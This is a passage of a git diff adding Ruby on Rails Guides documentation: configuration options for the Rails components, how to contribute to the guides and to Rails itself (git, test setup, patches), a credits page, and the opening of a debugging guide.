to change the behavior of one of the classes that is used in the initialization process, you can do so in this file. + +h3. Configuring Rails Components + +In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting: + +<ruby> +config.time_zone = 'UTC' +</ruby> + +This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object: + +<ruby> +config.active_record.colorize_logging = false +</ruby> + +Rails will use that particular setting to configure Active Record. + +h4. Configuring Active Record + +<tt>ActiveRecord::Base</tt> includes a variety of configuration options: + +* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging. + +* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: +** +:table_name+ would make the primary key for the Customer class +customerid+ +** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+ + +* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string. + +* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. + +* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. + +* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord. + +* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+. + +* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. + +* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. + +* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. + +The MySQL adapter adds one additional configuration option: + +* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+. + +The schema dumper adds one additional configuration option: + +* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+. + +h4. Configuring Action Controller + +<tt>ActionController::Base</tt> includes a number of configuration settings: + +* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host. + +* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors. + +* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments. + +WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+. + +* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active. + +* +default_charset+ specifies the default character set for all renders. The default is "utf-8". + +* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. + +* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/". + +* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+. + +* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. + +* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default. + +* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request. + +* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. + +* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. + +The caching code adds two additional settings: + +* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+). + +* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+. + +The dispatcher includes one setting: + +* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+. + +The Active Record session store can also be configured: + +* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data' + +h4. Configuring Action View + +There are only a few configuration options for Action View, starting with four on +ActionView::Base+: + +* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+. + +* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+. + +* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt> + +* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. + +The ERB template handler supplies one additional option: + +* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. + +h4. Configuring Action Mailer + +There are a number of settings available on +ActionMailer::Base+: + +* +template_root+ gives the root folder for Action Mailer templates. + +* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. + +* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: +** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. +** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it. +** +:domain+ - If you need to specify a HELO domain, you can do it here. +** +:user_name+ - If your mail server requires authentication, set the username in this setting. +** +:password+ - If your mail server requires authentication, set the password in this setting. +** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+. + +* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options: +** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. +** +:arguments+ - The command line arguments. Defaults to +-i -t+. + +* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. + +* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. + +* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. + +* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+. + +* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain" + +* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+. + +* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates +which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client +and appear last in the mime encoded message. + +h4. Configuring Active Resource + +There is a single configuration setting available on +ActiveResource::Base+: + +<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. + +h4. Configuring Active Support + +There are a few configuration options available in Active Support: + +* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. + +* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations. + +* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. + +h4. Configuring Active Model + +Active Model currently has a single configuration setting: + +* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages. + +h3. Using Initializers + +After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded. + +NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down. + +TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+. + +h3. Using an After-Initializer + +After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files: + +<ruby> +config.after_initialize do + SomeClass.init +end +</ruby> + +WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. + +h3. Rails Environment Settings + +Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: + +* +ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under. + +* +ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory. + +* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets. + +* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. + +* +ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28 + +* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy +* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile new file mode 100644 index 0000000000..650004bd09 --- /dev/null +++ b/railties/guides/source/contribute.textile @@ -0,0 +1,71 @@ +h2. Contribute to the Rails Guides + +Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the Guides to come up to speed on Rails quickly. You can track the overall effort at the "Rails Guides Lighthouse":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. + +endprologue. + +h3. How to Contribute? + +* We have an open commit policy: anyone is welcome to contribute, but you'll need to ask for commit access. +* PM lifo at "GitHub":http://github.com asking for "docrails":http://github.com/lifo/docrails/tree/master commit access. +* Guides are written in Textile, and reside at railties/guides/source in the docrails project. +* All images are in the railties/guides/images directory. +* Sample format : "Active Record Associations":http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile +* Sample output : "Active Record Associations":http://guides.rails.info/association_basics.html +* You can build the Guides during testing by running +rake guides+ in the +railties+ directory. + +h3. What to Contribute? + +* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. +* The easiest way to start is by improving an existing guide: +** Improve the structure to make it more coherent +** Add missing information +** Correct any factual errors +** Fix typos or improve style +** Bring it up to date with the latest Edge Rails +* We're also open to suggestions for entire new guides +** Contact lifo or mikeg1a in IRC or via "email":mailto:MikeG1@larkfarm.com to get your idea approved +** If you're the main author on a significant guide, you're eligible for the prizes + +h3. How to Commit + +* If you have a small change or typo fix, just ask lifo for commit access and commit it to the project. +* If your change is more significant, post a patch or a message on Lighthouse, and commit after you get a +1 from lifo or mikeg1a. +* If the guide is already marked done, you should get a +1 before pushing your changes. +* Put [#<ticket number>] in your commit message to enable GitHub/Lighthouse integration. + +h3. Prizes + +For each completed guide, the lead contributor will receive all of the following prizes: + +* $200 from Caboose Rails Documentation Project. +* 1 year of GitHub Micro account worth $84. +* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x $10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. + +h3. Rules + +* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. +* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. +* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). +* Our review team will have the final say on whether the guide is complete and of good enough quality. + +All authors should read and follow the "Rails Guides Conventions":http://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions. + +h3. Translations + +The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":http://wiki.github.com/lifo/docrails/translating-rails-guides page. + +h3. Mailing List + +"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. + +h3. IRC Channel + +==#docrails @ irc.freenode.net== + +h3. Contact + +If you have any questions or need any clarification, feel free to contact: + +* IRC : lifo, mikeg1a or fxn in #docrails +* Email : pratiknaik aT gmail diff --git a/railties/guides/source/contributing_to_rails.textile b/railties/guides/source/contributing_to_rails.textile new file mode 100644 index 0000000000..84778ed9ee --- /dev/null +++ b/railties/guides/source/contributing_to_rails.textile @@ -0,0 +1,239 @@ +h2. Contributing to Rails + +This guide covers ways in which _you_ can become a part of the ongoing development of Rails. After reading it, you should be familiar with: + +* Using Lighthouse to report issues with Rails +* Cloning edge Rails and running the test suite +* Helping to resolve existing issues +* Contributing to the Rails documentation +* Contributing to the Rails code + +Rails is not "someone else's framework." Over the years, hundreds of people have contributed code ranging from a single character to massive architectural changes, all with the goal of making Rails better for everyone. Even if you don't feel up to writing code yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches to contributing documentation. + +endprologue. + +h3. Reporting a Rails Issue + +Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start. + +NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing. + +h4. Creating a Bug Report + +If you've found a problem in Rails, you can start by "adding a new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new to the Rails Lighthouse. At the minimum, your ticket needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. + +You shouldn't assign the bug to a particular core developer (through the *Who's Responsible* select list) unless you know for sure which developer will be handling any patch. The core team periodically reviews issues and assigns developers and milestones to them. + +You should set tags for your issue. Use the "bug" tag for a bug report, and add the "patch" tag if you are attaching a patch. Try to find some relevant tags from the existing tag list (which will appear as soon as you start typing in the *Choose some tags* textbox), rather than creating new tags. + +Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this ticket in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the ticket automatically will see any activity or that others will jump to fix it. Creating a ticket like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment. + +h4. Special Treatment for Security Issues + +If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities. + +h4. What About Feature Requests? + +Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed. + +h3. Running the Rails Test Suite + +To move on from submitting bugs to helping resolve existing issues or contributing your own code to Rails, you _must_ be able to run the Rails test suite. In this section of the guide you'll learn how to set up the tests on your own computer. + +h4. Install git + +Rails uses git for source code control. You won’t be able to do anything without the Rails source code, and this is a prerequisite. The "git homepage":http://git-scm.com/ has installation instructions. If you’re on OS X, use the "Git for OS X":http://code.google.com/p/git-osx-installer/ installer. If you're unfamiliar with git, there are a variety of resources on the net that will help you learn more: + +* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by. +* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow. +* "GitHub":http://github.com/guides/home offers links to a variety of git resources. + +h4. Get the Rails Source Code + +Don’t fork the main Rails repository. Instead, you want to clone it to your own computer. Navigate to the folder where you want the source code (it will create its own /rails subdirectory) and run: + +<shell> +git clone git://github.com/rails/rails.git +cd rails +</shell> + +h4. Set up and Run the Tests + +All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL: + +<shell> +mysql> create database activerecord_unittest; +mysql> create database activerecord_unittest2; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* + to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* + to 'rails'@'localhost'; +</shell> + +If you’re using another database, check the files under +activerecord/test/connections+ in the Rails source code for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails. + +Now if you go back to the root of the Rails source on your machine and run +rake+ with no parameters, you should see every test in all of the Rails components pass. If you want to run the all ActiveRecord tests (or just a single one) with another database adapter, enter this from the +activerecord+ directory: + +<shell> +rake test_sqlite3 +rake test_sqlite3 TEST=test/cases/validations_test.rb +</shell> + +You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs. + + + +NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. + +h3. Helping to Resolve Existing Issues + +As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually: + +h4. Verifying Bug Reports + +For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the ticket saying that you're seeing the same thing. + +If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem. + +If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the Rails source: looking at the existing test files will teach you how to write more tests for Rails. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section. + +Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not. + +h4. Testing Patches + +You can also help out by examining patches that have been submitted to Rails via Lighthouse. To apply someone's changes you need to first create a branch of the Rails source code: + +<shell> +git checkout -b testing_branch +</shell> + +Then you can apply their patch: + +<shell> +git am < their-patch-file.diff +</shell> + +After applying a patch, test it out! Here are some things to think about: + +* Does the patch actually work? +* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing? +* Does the documentation still seem right to you? +* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change? + +Once you're happy that the patch contains a good change, comment on the Lighthouse ticket indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like: + +<blockquote> +I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too. +</blockquote> + +If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the patch. Once three people have approved it, add the "verified" tag. This will bring it to the attention of a core team member who will review the changes looking for the same kinds of things. + +h3. Contributing to the Rails Documentation + +Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation. + +TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details. + +h4. The Rails Guides + +The "Rails Guides":http://guides.rubyonrails.org/ are a set of online resources that are designed to make people productive with Rails and to understand how all of the pieces fit together. These guides (including this one!) are written as part of the "docrails":http://github.com/lifo/docrails/tree/master project. If you have an idea for a new guide, or improvements for an existing guide, you can refer to the "contribution page":contribute.html for instructions on getting involved. + +h4. The Rails API Documentation + +The "Rails API documentation":http://api.rubyonrails.org/ is automatically generated from the Rails source code via "RDoc":http://rdoc.rubyforge.org/. If you find some part of the documentation to be incomplete, confusing, or just plain wrong, you can step in and fix it. + +To contribute an update to the API documentation, you can contact "lifo":http://github.com/lifo on GitHub and ask for commit rights to the docrails repository and push your changes to the docrails repository. Please follow the "docrails RDoc conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions when contributing the changes. + +h3. The Rails Wiki + +The "Rails wiki":http://wiki.rubyonrails.org/ is a collection of user-generated and freely-editable information about Rails. It covers everything from getting started to FAQs to how-tos and popular plugins. To contribute to the wiki, just find some useful information that isn't there already and add it. There are style guidelines to help keep the wiki a coherent resources; see the section on "contributing to the wiki":http://wiki.rubyonrails.org/#contributing_to_the_wiki for more details. + +h3. Contributing to the Rails Code + +When you're ready to take the plunge, one of the most helpful ways to contribute to Rails is to actually submit source code. Here's a step-by-step listing of the things you need to do to make this a successful experience. + +h4. Learn the Language and the Framework + +Learn at least _something_ about Ruby and Rails. If you don’t understand the syntax of the language, common Ruby idioms, and the code that already exists in Rails, you’re unlikely to be able to build a good patch (that is, one that will get accepted). You don’t have to know every in-and-out of the language and the framework; some of the Rails code is fiendishly complex. But Rails is probably not appropriate as the first place that you ever write Ruby code. You should at least understand (though not necessarily memorize) "The Ruby Programming Language":http://www.amazon.com/gp/product/0596516177?ie=UTF8&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596516177 and have browsed the Rails source code. + +h4. Fork the Rails Source Code + +Fork Rails. You’re not going to put your patches right into the master branch, OK? This is where you need that copy of Rails that you cloned earlier. Think of a name for your new branch and run + +<shell> +git checkout -b my_new_branch +</shell> + +It doesn’t really matter what name you use, because this branch will only exist on your local computer. + +h4. Write Your Code + +Now get busy and add your code to Rails (or edit the existing code). You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind: + +* Get the code right +* Use Rails idioms and helpers +* Include tests that fail without your code, and pass with it +* Update the documentation + +h4. Sanity Check + +You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. + +h4. Commit Your Changes + +When you're happy with the code on your computer, you need to commit the changes to git: + +<shell> +git commit -a -m "Here is a commit message" +</shell> + +h4. Update Rails + +Update your copy of Rails. It’s pretty likely that other changes to core Rails have happened while you were working. Go get them: + +<shell> +git checkout master +git pull +</shell> + +Now reapply your patch on top of the latest changes: + +<shell> +git checkout my_new_branch +git rebase master +</shell> + +No conflicts? Tests still pass? Change still seems reasonable to you? Then move on. + +h4. Create a Patch + +Now you can create a patch file to share with other developers (and with the Rails core team). Still in your branch, run + +<shell> +git commit -a +git format-patch master --stdout > my_new_patch.diff +</shell> + +Sanity check the results of this operation: open the diff file in your text editor of choice and make sure that no unintended changes crept in. + +h4. Create a Lighthouse Ticket + +Now create a ticket with your patch. Go to the "new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new page at Lighthouse. Fill in a reasonable title and description, remember to attach your patch file, and tag the ticket with the ‘patch’ tag and whatever other subject area tags make sense. + +h4. Get Some Feedback + +Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the rubyonrails-core mailing list or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know. + +h4. Iterate as Necessary + +It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin. + +And then...think about your next contribution! + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64 + +* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy + + diff --git a/railties/guides/source/credits.erb.textile b/railties/guides/source/credits.erb.textile new file mode 100644 index 0000000000..b09a931fd6 --- /dev/null +++ b/railties/guides/source/credits.erb.textile @@ -0,0 +1,52 @@ +<% content_for :header_section do %> +h2. Credits + +p. We'd like to thank the following people for their tireless contributions to this project. + +<% end %> + +<h3 class="section">Rails Documentation Team</h3> + +<% author('Mike Gunderloy', 'mgunderloy') do %> + Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much. +<% end %> + +<% author('Pratik Naik', 'lifo') do %> + Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails core team":http://rubyonrails.org/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo. +<% end %> + +<% author('Xavier Noria', 'fxn', 'fxn.jpg') do %> + Xavier Noria has been around dynamic languages since 2000. He fell in love with Rails in 2005, and cofounded Rails-based software company <a href="http://www.aspgems.com">ASPgems</a> in mid-2006. Xavier is president of the <a href="http://www.srug.org/">Spanish Ruby Users Group</a> and has been involved in Rails in several ways. He enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Oh, he also "tweets":http://twitter.com/fxn! +<% end %> + +<h3 class="section">Rails Guides Designers</h3> + +<% author('Jason Zimdars', 'jz') do %> + Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>. +<% end %> + +<h3 class="section">Rails Guides Authors</h3> + +<% author('Frederick Cheung', 'fcheung') do %> + Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at "spacevatican.org":http://www.spacevatican.org. +<% end %> + +<% author('Tore Darell', 'toretore') do %> + Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog "Sneaky Abstractions":http://tore.darell.no. +<% end %> + +<% author('Jeff Dean', 'zilkey') do %> + Jeff Dean is a software engineer with "Pivotal Labs":http://pivotallabs.com. +<% end %> + +<% author('Cássio Marques', 'cmarques') do %> + Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at "/* CODIFICANDO */":http://cassiomarques.wordpress.com, which is mainly written in Portuguese, but will soon get a new section for posts with English translation. +<% end %> + +<% author('Emilio Tagua', 'miloops') do %> + Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops. +<% end %> + +<% author('Heiko Webers', 'hawe') do %> + Heiko Webers is the founder of "bauland42":http://www.bauland42.de, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the "Ruby on Rails Security Project":http://www.rorsecurity.info. After 10 years of desktop application development, Heiko has rarely looked back. +<% end %> diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile new file mode 100644 index 0000000000..c059fdabf8 --- /dev/null +++ b/railties/guides/source/debugging_rails_applications.textile @@ -0,0 +1,709 @@ +h2. Debugging Rails Applications + +This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to: + +* Understand the purpose of debugging +* Track down problems and issues in your application that your tests aren't identifying +* Learn the different ways of debugging +* Analyze the stack trace + +endprologue. + +h3. View Helpers for Debugging + +One common task is to inspect the contents of a variable. In Rails, you can do this with three methods: + +* +debug+ +* +to_yaml+ +* +inspect+ + +h4. +debug+ + +The +debug+ helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: + +<html> +<%= debug @post %> +<p> + <b>Title:</b> + <%=h @post.title %> +</p> +</html> + +You'll see something like this: + +<yaml> +--- !ruby/object:Post +attributes: 